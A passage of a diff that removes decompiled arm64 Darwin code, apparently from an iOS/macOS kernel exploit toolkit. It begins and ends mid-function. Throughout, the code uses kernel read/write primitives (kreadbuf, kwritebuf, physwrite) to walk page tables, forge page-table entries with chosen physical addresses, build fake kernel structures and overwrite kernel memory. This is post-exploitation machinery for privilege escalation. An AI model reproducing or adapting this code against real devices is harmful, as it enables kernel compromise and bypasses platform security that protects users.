0x100) = *(_QWORD *)(v233 + 0x1B8); - *(_OWORD *)(v276 + 0x108) = xmmword_431D0; - *(_QWORD *)(v276 + 0x118) = 0x10LL; - v277 = v276 + v236; - *(_QWORD *)v277 = *(_QWORD *)(v233 + 0x320); - *(_QWORD *)(v277 + 8) = *(_QWORD *)(v233 + 0x328); - *(_QWORD *)(v277 + 0x10) = 0LL; - *(_QWORD *)(v277 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v277 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v277 + 0x108) = xmmword_431D0; - *(_QWORD *)(v277 + 0x118) = 0x10LL; - v278 = v277 + v236; - *(_QWORD *)v278 = *(_QWORD *)(v233 + 0x1A0) + 0xE0LL; - *(_QWORD *)(v278 + 0x10) = 0LL; - *(_QWORD *)(v278 + 0xF0) = *(_QWORD *)(v233 + 0x1B0); - *(_QWORD *)(v278 + 0x100) = *(_QWORD *)(v233 + 0x1D8); - *(_OWORD *)(v278 + 0x108) = xmmword_431D0; - *(_QWORD *)(v278 + 0x118) = 0x10LL; - if ( *(_BYTE *)v233 ) - { - v279 = v242 >> 8; - } - else - { - v279 = v242 >> 8; - if ( !(unsigned int)sub_193C0(a1, *(_QWORD *)(v233 + 0x158) + 1LL, v242 >> 8) ) - { -LABEL_417: - if ( !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v233 + 0x318), 8LL, (__int64)&v343) ) - { -LABEL_428: - v1 = 0x2800FLL; - goto LABEL_430; - } - v280 = 0; - while ( 1 ) - { - if ( (_QWORD)v343 == *(_QWORD *)(v233 + 0x328) ) - { - v1 = 0LL; -LABEL_430: - sub_38BCC(a1); - goto LABEL_431; - } - if ( (v280 & 1) == 0 ) - { - if ( *(_BYTE *)v233 || (*(_DWORD *)(v303 + 0x390) & 0xF0) != 0 ) - { - v280 = 0; - goto LABEL_425; - } - sub_193C0(a1, *(_QWORD *)(v233 + 0x348), 0); - } - v280 = 1; -LABEL_425: - sub_2AABC(a1, 0x3E8u); - if ( !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v233 + 0x318), 8LL, (__int64)&v343) ) - goto LABEL_428; - } - } - *((_QWORD *)v241 + 0x20) = *(_QWORD *)(v233 + 0x168); - *(_BYTE *)v233 = 1; - } - sub_19354(a1, *(_QWORD *)(v233 + 0x158) + 1LL, v279); - goto LABEL_417; - } - if ( *(_QWORD *)(a1 + 0x158) <= 0x2711FFFFFFFFFFuLL ) - v251 = 0x340LL; - else - v251 = 0x350LL; - v1 = sub_18DF0(a1, *(_QWORD *)(v233 + 0x158), inputStruct); - if ( (_DWORD)v1 ) - goto LABEL_431; - v252 = *(_QWORD *)inputStruct; - v253 = (char *)v234 + inputStruct[0]; - v254 = v253 + 0xC00; - v255 = v235 + inputStruct[0] + 0xC00; - *((_QWORD *)v253 + 0x180) = *(_QWORD *)(v233 + 0x178); - *((_QWORD *)v253 + 0x182) = 0LL; - *((_QWORD *)v253 + 0x181) = 0LL; - *((_QWORD *)v253 + 0x19E) = *(_QWORD *)(v233 + 0x170); - *((_QWORD *)v253 + 0x19F) = v255 + v251; - if ( *(_BYTE *)v233 ) - v256 = *(_QWORD *)(v233 + 0x168); - else - v256 = *(_QWORD *)(v233 + 0x168) + 4LL; - *((_QWORD *)v253 + 0x1A0) = v256; - *(_OWORD *)(v253 + 0xD08) = xmmword_431D0; - *((_QWORD *)v253 + 0x1A3) = 0x10LL; - v257 = &v254[v251]; - *(_QWORD *)v257 = *(_QWORD *)(v233 + 0x158); - *((_QWORD *)v257 + 1) = v252; - *((_QWORD *)v257 + 2) = 0LL; - *((_QWORD *)v257 + 0x1E) = *(_QWORD *)(v233 + 0x170); - *((_QWORD *)v257 + 0x20) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)&v254[v251 + 0x108] = xmmword_431D0; - *((_QWORD *)v257 + 0x23) = 0x10LL; - v258 = (__int64)&v254[v251 + v251]; - *(_QWORD *)(v258 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v258 + 0x100) = *(_QWORD *)(v233 + 0x198); - *(_OWORD *)(v258 + 0x108) = xmmword_431D0; - *(_QWORD *)(v258 + 0x118) = 0x10LL; - v259 = v258 + v251; - *(_QWORD *)v259 = *(_QWORD *)(v233 + 0x1A0) + 0x108LL; - *(_QWORD *)(v259 + 8) = *(_QWORD *)(v233 + 0x2F8); - *(_QWORD *)(v259 + 0x10) = 0LL; - *(_QWORD *)(v259 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v259 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v259 + 0x108) = xmmword_431D0; - *(_QWORD *)(v259 + 0x118) = 0x10LL; - v260 = v259 + v251; - *(_QWORD *)v260 = *(_QWORD *)(v233 + 0x1A0) + 0xD8LL; - *(_QWORD *)(v260 + 8) = v252; - *(_QWORD *)(v260 + 0x10) = 0LL; - *(_QWORD *)(v260 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v260 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v260 + 0x108) = xmmword_431D0; - *(_QWORD *)(v260 + 0x118) = 0x10LL; - v261 = (_QWORD *)(v260 + v251); - *v261 = *(_QWORD *)(v233 + 0x1A0) + 0xC8LL; - v261[1] = v255 + 9 * v251; - v261[2] = 0LL; - v261[0x1E] = *(_QWORD *)(v233 + 0x170); - v261[0x20] = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v260 + v251 + 0x108) = xmmword_431D0; - v261[0x23] = 0x10LL; - v262 = v260 + v251 + v251; - *(_QWORD *)v262 = *(_QWORD *)(v233 + 0x188) + 8LL; - *(_QWORD *)(v262 + 8) = 0LL; - *(_QWORD *)(v262 + 0x10) = 0LL; - *(_QWORD *)(v262 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v262 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v262 + 0x108) = xmmword_431D0; - *(_QWORD *)(v262 + 0x118) = 0x10LL; - v263 = v262 + v251; - *(_QWORD *)(v263 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v263 + 0x100) = *(_QWORD *)(v233 + 0x1A8); - *(_OWORD *)(v263 + 0x108) = xmmword_431D0; - *(_QWORD *)(v263 + 0x118) = 0x10LL; - v264 = v263 + v251; - *(_QWORD *)v264 = *(_QWORD *)(v233 + 0x190); - *(_OWORD *)(v264 + 8) = xmmword_431F0; - *(_QWORD *)(v264 + 0xF0) = *(_QWORD *)(v233 + 0x1B0); - *(_QWORD *)(v264 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v264 + 0x108) = xmmword_431D0; - *(_QWORD *)(v264 + 0x118) = 0x10LL; - v265 = v264 + v251; - *(_QWORD *)v265 = *(_QWORD *)(v233 + 0x320); - *(_QWORD *)(v265 + 8) = *(_QWORD *)(v233 + 0x328); - *(_QWORD *)(v265 + 0x10) = 0LL; - *(_QWORD *)(v265 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v265 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v265 + 0x108) = xmmword_431D0; - *(_QWORD *)(v265 + 0x118) = 0x10LL; - v266 = v265 + v251; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x80000) ) - { - *(_QWORD *)v266 = *(_QWORD *)(v233 + 0x330); - *(_QWORD *)(v266 + 8) = *(_QWORD *)(v233 + 0x338); - *(_QWORD *)(v266 + 0x10) = 0LL; - *(_QWORD *)(v266 + 0xF0) = *(_QWORD *)(v233 + 0x170); - *(_QWORD *)(v266 + 0x100) = *(_QWORD *)(v233 + 0x168); - *(_OWORD *)(v266 + 0x108) = xmmword_431D0; - *(_QWORD *)(v266 + 0x118) = 0x10LL; - v267 = (_QWORD *)(v266 + v251); - v267[0x1E] = *(_QWORD *)(v233 + 0x170); - v267[0x20] = *(_QWORD *)(v233 + 0x1B8); - *(_OWORD *)(v266 + v251 + 0x108) = xmmword_431D0; - v267[0x23] = 0x10LL; - v266 += v251 + v251; - } - *(_QWORD *)v266 = 0LL; - *(_QWORD *)(v266 + 0x100) = *(_QWORD *)(v233 + 0x160); - *(_OWORD *)(v266 + 0x108) = xmmword_431E0; - *(_QWORD *)(v266 + 0x118) = 0x10LL; - if ( *(_BYTE *)v233 ) - { - v268 = v255 >> 8; - } - else - { - v268 = v255 >> 8; - if ( !(unsigned int)sub_193C0(a1, *(_QWORD *)(v233 + 0x158) + 1LL, v268) ) - goto LABEL_407; - *((_QWORD *)v254 + 0x20) = *(_QWORD *)(v233 + 0x168); - } - sub_19354(a1, *(_QWORD *)(v233 + 0x158) + 1LL, v268); - while ( 1 ) - { -LABEL_407: - if ( !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v233 + 0x318), 8LL, (__int64)src_address) ) - { - v1 = 0x2800FLL; - goto LABEL_431; - } - if ( src_address[0] == *(_QWORD *)(v233 + 0x328) ) - break; - sub_2AABC(a1, 0x3E8u); - } - v1 = 0LL; -LABEL_431: - if ( (_DWORD)v1 ) - goto LABEL_27; - v1 = 0xAD009LL; - v281 = *(_QWORD *)(a1 + 0x1D58); - *(_DWORD *)inputStruct = 0x228; - if ( *(_QWORD *)(a1 + 0x118) && *(_QWORD *)(a1 + 0x120) ) - { - v282 = sub_37210(a1, (unsigned int *)inputStruct); - if ( !v282 ) - goto LABEL_27; - v283 = v282; - if ( !(unsigned int)kwritebuf_last_1(a1, v282, v281 + 0x2F8, *(unsigned int *)inputStruct) ) - { - v1 = 0x28010LL; - goto LABEL_27; - } - *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x160LL) = v283; - } - return 0LL; - } - v1 = 0xAD009LL; - v202 = *(_QWORD *)(a1 + 0x1D58); - v203 = *(_QWORD *)(v202 + 0x258); - v204 = *(_QWORD *)(v202 + 0x260); - LODWORD(size[0]) = 0x4000; - if ( !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v202 + 0x250), 8LL, (__int64)&outputStruct) - || (v205 = *(_QWORD **)(a1 + 0x1D58), - v206 = v205[0x4A], - v207 = v205[0x60], - LODWORD(input[0]) = 0x4000, - !(unsigned int)kreadbuf_last_1(a1, v206, 8LL, (__int64)v316)) - || (v208 = sub_18B14()) == 0 - || !(unsigned int)kreadbuf_last_1(a1, v208, 8LL, (__int64)address) - || (v209 = sub_18B14()) == 0 ) - { -LABEL_370: - v1 = v47; - goto LABEL_27; - } - v210 = v209; - v301 = sub_3796C(a1, input); - if ( !v301 ) - goto LABEL_27; - sub_2183C(a1, v301 & ~*(_QWORD *)(a1 + 0x188), (__int64)&v343); - if ( !v211 ) - goto LABEL_369; - v212 = v345 & 0xFFFFFFFFC000LL; - if ( (v345 & 0xFFFFFFFFC000LL) == 0 ) - goto LABEL_369; - v296 = sub_3796C(a1, input); - if ( !v296 ) - { - v47 = 0xAD009LL; -LABEL_369: - sub_36E4C(a1, v301, LODWORD(input[0])); - goto LABEL_370; - } - sub_2183C(a1, v296 & ~*(_QWORD *)(a1 + 0x188), (__int64)&v343); - if ( !v213 || (v291 = v345 & 0xFFFFFFFFC000LL, (v345 & 0xFFFFFFFFC000LL) == 0) ) - { -LABEL_368: - sub_36E4C(a1, v296, LODWORD(input[0])); - goto LABEL_369; - } - *(_QWORD *)v316 = *(_QWORD *)v316 & 0xFFFF000000003FFFLL | v212; - if ( !(unsigned int)kwritebuf_last_1(a1, v207, (__int64)v316, 8LL) - || (address[0] = address[0] & 0xFFFF000000003FFFLL | v291, - !(unsigned int)kwritebuf_last_1(a1, v301, (__int64)address, 8LL)) ) - { -LABEL_367: - v47 = 0x28010LL; - goto LABEL_368; - } - for ( i = 0LL; i != 0x4000; i += 8LL ) - { - if ( !(unsigned int)kreadbuf_last_1(a1, v210 + i, 8LL, (__int64)target_address) ) - goto LABEL_368; - if ( target_address[0] && !(unsigned int)kwritebuf_last_1(a1, v296 + i, (__int64)target_address, 8LL) ) - goto LABEL_367; - } - v205[0x9F] = v301; - v205[0xA0] = v296; - v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x218), v202 + 0x370); - if ( (_DWORD)v1 ) - goto LABEL_27; - v1 = sub_19128(a1, *(_QWORD *)(v202 + 0x220), *(_QWORD *)(v202 + 0x2F8)); - if ( (_DWORD)v1 ) - goto LABEL_27; - v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x230), v202 + 0x3A8); - if ( (_DWORD)v1 ) - goto LABEL_27; - v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x238), v202 + 0x3E0); - if ( (_DWORD)v1 ) - goto LABEL_27; - v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x240), v202 + 0x418); - if ( (_DWORD)v1 ) - goto LABEL_27; - v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x248), v202 + 0x450); - if ( (_DWORD)v1 ) - goto LABEL_27; - v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x210) & ~*(_QWORD *)(a1 + 0x188), v202 + 0x488); - if ( (_DWORD)v1 ) - goto LABEL_27; - *(_QWORD *)((*(_QWORD *)(a1 + 0x188) & *(_QWORD *)(v202 + 0x210)) + *(_QWORD *)(v202 + 0x488)) = 0x4028LL; - v302 = (__int64 *)calloc(0x800uLL, 8uLL); - if ( !v302 ) - { - v1 = 0xAD009LL; - goto LABEL_27; - } - v215 = 0LL; - *(_QWORD *)v297 = *(_QWORD *)(v202 + 0x130) - *(_QWORD *)(v202 + 0x110); - while ( 2 ) - { - v216 = sub_37210(a1, (unsigned int *)size); - if ( !v216 ) - { - v1 = 0xAD009LL; - goto LABEL_378; - } - v217 = v216; - sub_2183C(a1, v216 & ~*(_QWORD *)(a1 + 0x188), (__int64)&v343); - v218 = v345 & 0xFFFFFFFFC000LL; - if ( v219 ) - v220 = v218 == 0; - else - v220 = 1; - if ( v220 ) - { - v1 = 0xFFFFFFFFLL; - goto LABEL_378; - } - v221 = v218 + *(_QWORD *)v297; - if ( (unsigned __int64)(v218 + *(_QWORD *)v297 + 0x7FFDFFFFFFLL) < 0xFFDFFFFFFLL ) - goto LABEL_356; - v302[v215++] = v217; - if ( v215 != 0x800 ) - continue; - break; - } - if ( !v221 ) - { - v1 = 0xFFFFFFFFLL; -LABEL_379: - v229 = (unsigned int)v215; - v230 = v302; - do - { - v231 = *v230++; - sub_36E4C(a1, v231, LODWORD(size[0])); - --v229; - } - while ( v229 ); -LABEL_381: - free(v302); - if ( (_DWORD)v1 ) - goto LABEL_27; - goto LABEL_382; - } -LABEL_356: - v289 = *(_QWORD *)(a1 + 0x188); - v292 = *(_QWORD *)(v202 + 0x1A0); - v298 = sub_18EA4(a1, v292, 0LL, 1); - if ( !v298 ) - { - v1 = 0xFFFFFFFFLL; - goto LABEL_377; - } - *(_OWORD *)&v339[0x10] = 0u; - *(_OWORD *)v339 = 0u; - v338 = 0u; - v337 = 0u; - v336 = 0u; - v335 = 0u; - v334 = 0u; - v333 = 0u; - v332 = 0u; - v331 = 0u; - v330 = 0u; - v329 = 0u; - v328 = 0u; - v327 = 0u; - v326 = 0u; - *(_OWORD *)&inputStruct[8] = 0u; - v222 = *(_QWORD *)(v202 + 0x218); - *(_QWORD *)inputStruct = *(_QWORD *)(v202 + 0x170); - *(_QWORD *)&v337 = v222; - v223 = *(_QWORD *)(v202 + 0x230); - *((_QWORD *)&v337 + 1) = *(_QWORD *)(v202 + 0x1E0); - *(_QWORD *)&v338 = v223; - DWORD2(v338) = 0x30DD1985; - *(_DWORD *)v339 = 0x300000; - *(_OWORD *)&v339[8] = xmmword_43190; - v224 = *(_QWORD *)(v202 + 0x2F8); - *(_QWORD *)v293 = v289 & v292; - v341 = *(_QWORD *)(v202 + 0x1C8); - v340 = v224; - if ( !(unsigned int)kwritebuf_last_1(a1, *(_QWORD *)v293 + v217, (__int64)inputStruct, 0x118LL) ) - { - v1 = 0x28010LL; - goto LABEL_377; - } - v225 = *(_QWORD *)v293 + v221; - v1 = sub_19128(a1, v225 & ~*(_QWORD *)(a1 + 0x188), v218); - if ( (_DWORD)v1 ) - { -LABEL_377: - sub_36E4C(a1, v217, LODWORD(size[0])); -LABEL_378: - if ( !(_DWORD)v215 ) - goto LABEL_381; - goto LABEL_379; - } - v226 = *(_QWORD *)(v202 + 0x1E0); - src_address[0] = *(_QWORD *)(v202 + 0x1E8); - src_address[1] = 0x3C4LL; - v227 = *(_QWORD *)(v202 + 0x238) + (unsigned int)(*(_DWORD *)(a1 + 0x180) - 0x10); - memset(&src_address[0x1C], 0, 0x38); - memset(&src_address[2], 0, 0xB8); - src_address[0x19] = v227; - *(_OWORD *)&src_address[0x1A] = v226; - v1 = sub_19040(a1, *(_QWORD *)(v202 + 0x228), v202 + 0x4C0); - if ( !(_DWORD)v1 ) - { - memcpy(*(void **)(v202 + 0x4C0), src_address, 0x118uLL); - *(_DWORD *)(v203 + 0x3F40) = 0x10; - *(_QWORD *)(v203 + 0x3F48) = v204 + 0x3F50; - *(_QWORD *)(v203 + 0x3F50) = v225 >> 0xE; - *(_QWORD *)(v203 + 0x3F58) = v298 >> 0xE; - *(_OWORD *)(v203 + 0x3F60) = xmmword_431A0; - v228 = vdupq_n_s64(v204); - *(_DWORD *)(v203 + 0x3FA0) = 0x24; - *(_QWORD *)(v203 + 0x3FA8) = *(_QWORD *)(v202 + 0x200); - *(int64x2_t *)(v202 + 0x340) = vaddq_s64(v228, (int64x2_t)xmmword_431C0); - *(int64x2_t *)(v202 + 0x350) = vaddq_s64(v228, (int64x2_t)xmmword_431B0); - *(_QWORD *)(v202 + 0x360) = v225; - *(_QWORD *)(v202 + 0x368) = outputStruct; - goto LABEL_378; - } -LABEL_27: - *(_QWORD *)(a1 + 0x1D58) = 0LL; - free(v4); - return v1; -} -// 16B40: variable 'v87' is possibly undefined -// 16B68: variable 'v89' is possibly undefined -// 17804: variable 'v183' is possibly undefined -// 1785C: variable 'v187' is possibly undefined -// 17890: variable 'v189' is possibly undefined -// 178CC: variable 'v190' is possibly undefined -// 17904: variable 'v191' is possibly undefined -// 17924: variable 'v192' is possibly undefined -// 17A20: variable 'v197' is possibly undefined -// 17A68: variable 'v198' is possibly undefined -// 17CCC: variable 'v211' is possibly undefined -// 17D08: variable 'v213' is possibly undefined -// 17EF0: variable 'v219' is possibly undefined -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); -// 38870: using guessed type __int64 __fastcall sub_38870(_QWORD, _QWORD, _QWORD); -// 42FA0: using guessed type __int128 xmmword_42FA0; -// 42FB0: using guessed type __int128 xmmword_42FB0; -// 42FC0: using guessed type __int128 xmmword_42FC0; -// 42FD0: using guessed type __int128 xmmword_42FD0; -// 42FE0: using guessed type __int128 xmmword_42FE0; -// 42FF0: using guessed type __int128 xmmword_42FF0; -// 43000: using guessed type __int128 xmmword_43000; -// 43010: using guessed type __int128 xmmword_43010; -// 43020: using guessed type __int128 xmmword_43020; -// 43030: using guessed type __int128 xmmword_43030; -// 43040: using guessed type __int128 xmmword_43040; -// 43050: using guessed type __int128 xmmword_43050; -// 43060: using guessed type __int128 xmmword_43060; -// 43070: using guessed type __int128 xmmword_43070; -// 43080: using guessed type __int128 xmmword_43080; -// 43090: using guessed type __int128 xmmword_43090; -// 430A0: using guessed type __int128 xmmword_430A0; -// 430B0: using guessed type __int128 xmmword_430B0; -// 430C0: using guessed type __int128 xmmword_430C0; -// 430D0: using guessed type __int128 xmmword_430D0; -// 430E0: using guessed type __int128 xmmword_430E0; -// 430F0: using guessed type __int128 xmmword_430F0; -// 43100: using guessed type __int128 xmmword_43100; -// 43110: using guessed type __int128 xmmword_43110; -// 43120: using guessed type __int128 xmmword_43120; -// 43130: using guessed type __int128 xmmword_43130; -// 43140: using guessed type __int128 xmmword_43140; -// 43150: using guessed type __int128 xmmword_43150; -// 43160: using guessed type __int128 xmmword_43160; -// 43170: using guessed type __int128 xmmword_43170; -// 43180: using guessed type __int128 xmmword_43180; -// 43190: using guessed type __int128 xmmword_43190; -// 431A0: using guessed type __int128 xmmword_431A0; -// 431B0: using guessed type __int128 xmmword_431B0; -// 431C0: using guessed type __int128 xmmword_431C0; -// 431D0: using guessed type __int128 xmmword_431D0; -// 431E0: using guessed type __int128 xmmword_431E0; -// 431F0: using guessed type __int128 xmmword_431F0; -// 43750: using guessed type __int128 xmmword_43750; - -//----- (0000000000018B14) ---------------------------------------------------- -unsigned __int64 sub_18B14() -{ - __int64 v0; // x0 - __int64 v1; // x1 - __int64 v2; // x20 - _DWORD *v3; // x21 - unsigned __int64 v4; // x19 - unsigned __int64 v5; // x23 - int v6; // w22 - int v7; // w24 - _BOOL4 has_flag; // w0 - unsigned __int64 v10; // x0 - __int64 v11; // x28 - __int64 v12; // x26 - __int64 v13; // x27 - unsigned __int64 v14; // x8 - __int64 v15; // x0 - unsigned __int64 v16; // x8 - unsigned __int64 v17; // x9 - bool v18; // zf - __int64 v19; // x22 - __int64 v20; // x0 - __int64 v22; // [xsp+8h] [xbp-4078h] BYREF - __int64 v23; // [xsp+10h] [xbp-4070h] BYREF - __int64 v24; // [xsp+18h] [xbp-4068h] BYREF - _QWORD v25[2048]; // [xsp+20h] [xbp-4060h] BYREF - - v0 = __chkstk_darwin(); - v2 = v1; - v3 = (_DWORD *)v0; - v4 = *(_QWORD *)(v0 + 0x19E8); - v5 = *(_QWORD *)(v0 + 0x19F0); - v6 = number_of_cpus(); - if ( krw_ctx_has_flag(v3, 0x5000008) ) - { - v7 = 0x7FF; - } - else - { - has_flag = krw_ctx_has_flag(v3, 0x180000); - if ( v6 <= 7 || !has_flag ) - v7 = 7; - else - v7 = 0x7FF; - } - v10 = sub_21388((__int64)v3); - if ( v10 && (unsigned int)kreadbuf_last_1((__int64)v3, v10, 8LL, (__int64)&v24) ) - { - if ( v4 < v5 ) - { - v11 = 0LL; - v12 = 0LL; - v13 = 0LL; - while ( 1 ) - { - v14 = *(_QWORD *)&v7 & (v4 >> 0x24); - if ( v24 + 8 * v14 != v12 ) - { - v12 = v24 + 8 * v14; - if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v12, 8LL, (__int64)&v23) ) - return 0LL; - } - if ( (v23 & 1) == 0 ) - break; - v15 = sub_386AC((__int64)v3, v23 & 0xFFFFFFFFC000LL); - if ( !v15 ) - break; - v19 = v15 + ((v4 >> 0x16) & 0x3FF8); - if ( v11 != v19 ) - { - v11 = v15 + ((v4 >> 0x16) & 0x3FF8); - if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v19, 8LL, (__int64)&v22) ) - return 0LL; - } - if ( (v22 & 1) == 0 ) - goto LABEL_29; - if ( (v22 & 2) == 0 && (v22 & 0xFFFFFE000000LL) == v2 ) - return v4; - v20 = sub_386AC((__int64)v3, v22 & 0xFFFFFFFFC000LL); - if ( !v20 ) - { -LABEL_29: - v16 = v4 + 0x2000000; - v17 = (v4 + 0x2000000) & 0xFFFFFFFFFE000000LL; - v18 = v17 == 0; -LABEL_18: - if ( v18 ) - v4 = v16; - else - v4 = v17; - goto LABEL_21; - } - if ( v13 != v20 ) - { - v13 = v20; - if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v20, 0x4000LL, (__int64)v25) ) - return 0LL; - } - if ( (v25[(v4 >> 0xE) & 0x7FF] & 0xFFFFFFFFC000LL) == v2 ) - { - v4 |= 0xFFFFF00000000000LL; - return v4; - } - v4 += (unsigned int)v3[0x60]; -LABEL_21: - if ( v4 >= v5 ) - goto LABEL_34; - } - v16 = v4 + 0x1000000000LL; - v17 = (v4 + 0x1000000000LL) & 0xFFFFFFF000000000LL; - v18 = v17 == 0; - goto LABEL_18; - } -LABEL_34: - if ( v4 - 1 == v5 ) - return 0LL; - } - return v4; -} -// 18B4C: variable 'v1' is possibly undefined -// 48940: using guessed type __int64 __chkstk_darwin(void); - -//----- (0000000000018D68) ---------------------------------------------------- -char *__fastcall sub_18D68(__int64 a1, _DWORD *a2, _DWORD *a3, unsigned __int64 a4) -{ - __int64 v4; // x8 - char *result; // x0 - char *v6; // x8 - char *v7; // x11 - __int64 v9; // x11 - - v4 = *(_QWORD *)(a1 + 0x1D58); - result = *(char **)(v4 + 0x148); - v6 = &result[*(_QWORD *)(v4 + 0x150)]; - if ( result >= v6 ) - return 0LL; - while ( (*a3 & *(_DWORD *)result) != *a2 ) - { -LABEL_12: - result += 4; - if ( result >= v6 ) - return 0LL; - } - v7 = &result[4 * a4]; - if ( v7 < v6 && a4 >= 2 ) - { - v9 = 1LL; - while ( (a3[v9] & *(_DWORD *)&result[4 * v9]) == a2[v9] ) - { - if ( a4 == ++v9 ) - return result; - } - goto LABEL_12; - } - if ( v7 >= v6 ) - return 0LL; - return result; -} - -//----- (0000000000018DF0) ---------------------------------------------------- -__int64 __fastcall sub_18DF0(__int64 a1, unsigned __int64 a2, _QWORD *a3) -{ - _QWORD *v4; // x9 - unsigned __int64 v5; // x8 - __int64 v6; // x8 - unsigned __int64 v7; // x10 - __int64 v8; // x20 - __int64 v10; // [xsp+8h] [xbp-18h] BYREF - - v4 = *(_QWORD **)(a1 + 0x1D58); - v5 = v4[0x25]; - if ( v5 > a2 || v4[0x27] + v5 <= a2 ) - v6 = 0LL; - else - v6 = a2 - v5 + v4[0x1F]; - v7 = v4[0x26]; - if ( v7 <= a2 && v4[0x28] + v7 > a2 ) - v6 = a2 - v7 + v4[0x20]; - v8 = 0x2800FLL; - if ( v6 && (unsigned int)kreadbuf_last_1(a1, v6, 8LL, (__int64)&v10) ) - { - v8 = 0LL; - *a3 = v10; - } - return v8; -} - -//----- (0000000000018EA4) ---------------------------------------------------- -unsigned __int64 __fastcall sub_18EA4(__int64 a1, unsigned __int64 a2, __int64 *a3, char a4) -{ - unsigned __int64 result; // x0 - __int64 v9; // x23 - __int64 v10; // [xsp+8h] [xbp-48h] BYREF - __int64 v11; // [xsp+10h] [xbp-40h] BYREF - __int64 v12; // [xsp+18h] [xbp-38h] BYREF - - if ( !(unsigned int)kreadbuf_last_1( - a1, - *(_QWORD *)(*(_QWORD *)(a1 + 0x1D58) + 0x250LL) + ((a2 >> 0x21) & 0x38), - 8LL, - (__int64)&v12) - || (v12 & 1) == 0 ) - { - return 0LL; - } - if ( (a4 & 1) != 0 ) - { - result = sub_18B14(); - if ( !result ) - return result; - } - else - { - result = sub_386AC(a1, v12 & 0xFFFFFFFFC000LL); - if ( !result ) - return result; - } - v9 = result + ((a2 >> 0x16) & 0x3FF8); - if ( !(unsigned int)kreadbuf_last_1(a1, v9, 8LL, (__int64)&v11) || (v11 & 1) == 0 ) - return 0LL; - if ( (v11 & 2) == 0 ) - { - result = v11 & 0xFFFFFE000000LL; - if ( !a3 ) - return result; -LABEL_13: - *a3 = v9; - return result; - } - if ( (a4 & 1) != 0 ) - result = sub_18B14(); - else - result = sub_386AC(a1, v11 & 0xFFFFFFFFC000LL); - if ( result ) - { - v9 = result + ((a2 >> 0xB) & 0x3FF8); - if ( (unsigned int)kreadbuf_last_1(a1, v9, 8LL, (__int64)&v10) && (v10 & 1) != 0 ) - { - result = v10 & 0xFFFFFFFFC000LL; - if ( !a3 ) - return result; - goto LABEL_13; - } - return 0LL; - } - return result; -} - -//----- (0000000000018FCC) ---------------------------------------------------- -__int64 __fastcall sub_18FCC(__int64 a1, unsigned __int64 a2, _QWORD *a3) -{ - unsigned __int64 v6; // x0 - __int64 result; // x0 - - v6 = sub_18EA4(a1, a2, 0LL, 0); - if ( !v6 ) - return 0x2800FLL; - result = physwrite_maybe(a1, v6, a3 + 3); - if ( !(_DWORD)result ) - { - *a3 = a3[3]; - a3[1] = a2; - a3[2] = *(unsigned int *)(a1 + 0x180); - } - return result; -} -// 38870: using guessed type __int64 __fastcall sub_38870(_QWORD, _QWORD, _QWORD); - -//----- (0000000000019040) ---------------------------------------------------- -__int64 __fastcall sub_19040(__int64 a1, unsigned __int64 a2, __int64 a3) -{ - __int64 v6; // x0 - int v7; // w21 - __int64 v8; // x23 - int v9; // w0 - bool v10; // zf - __int64 v11; // x22 - __int64 v12; // x0 - unsigned int size; // [xsp+4h] [xbp-5Ch] BYREF - vm_size_t size_4; // [xsp+8h] [xbp-58h] BYREF - __int64 v16; // [xsp+28h] [xbp-38h] - - size = 0x4000; - v6 = sub_37210(a1, &size); - if ( !v6 ) - return 0xAD009LL; - v7 = v6; - sub_2183C(a1, v6 & ~*(_QWORD *)(a1 + 0x188), (__int64)&size_4); - v8 = v16 & 0xFFFFFFFFC000LL; - if ( v9 ) - v10 = v8 == 0; - else - v10 = 1; - if ( v10 ) - { - v11 = 0x2800FLL; -LABEL_11: - sub_36E4C(a1, v7, size); - return v11; - } - v12 = sub_19128(a1, a2, v16 & 0xFFFFFFFFC000LL); - v11 = v12; - if ( (_DWORD)v12 ) - goto LABEL_11; - v11 = physwrite_maybe(a1, v8, a3); - if ( (_DWORD)v11 ) - goto LABEL_11; - return v11; -} -// 190A0: variable 'v9' is possibly undefined -// 38870: using guessed type __int64 __fastcall sub_38870(_QWORD, _QWORD, _QWORD); - -//----- (0000000000019128) ---------------------------------------------------- -__int64 __fastcall sub_19128(__int64 a1, unsigned __int64 a2, __int64 a3) -{ - _QWORD *v3; // x25 - __int64 v4; // x8 - unsigned __int64 v5; // x27 - _BOOL4 v6; // w24 - _BOOL4 v7; // w26 - unsigned __int64 v8; // x9 - __int64 v13; // x19 - int v14; // w26 - unsigned __int64 v15; // x0 - __int64 v17; // x24 - __int64 v18; // x0 - unsigned __int64 v19; // x23 - int v20; // w0 - _DWORD size[3]; // [xsp+4h] [xbp-8Ch] BYREF - __int64 v22; // [xsp+10h] [xbp-80h] BYREF - 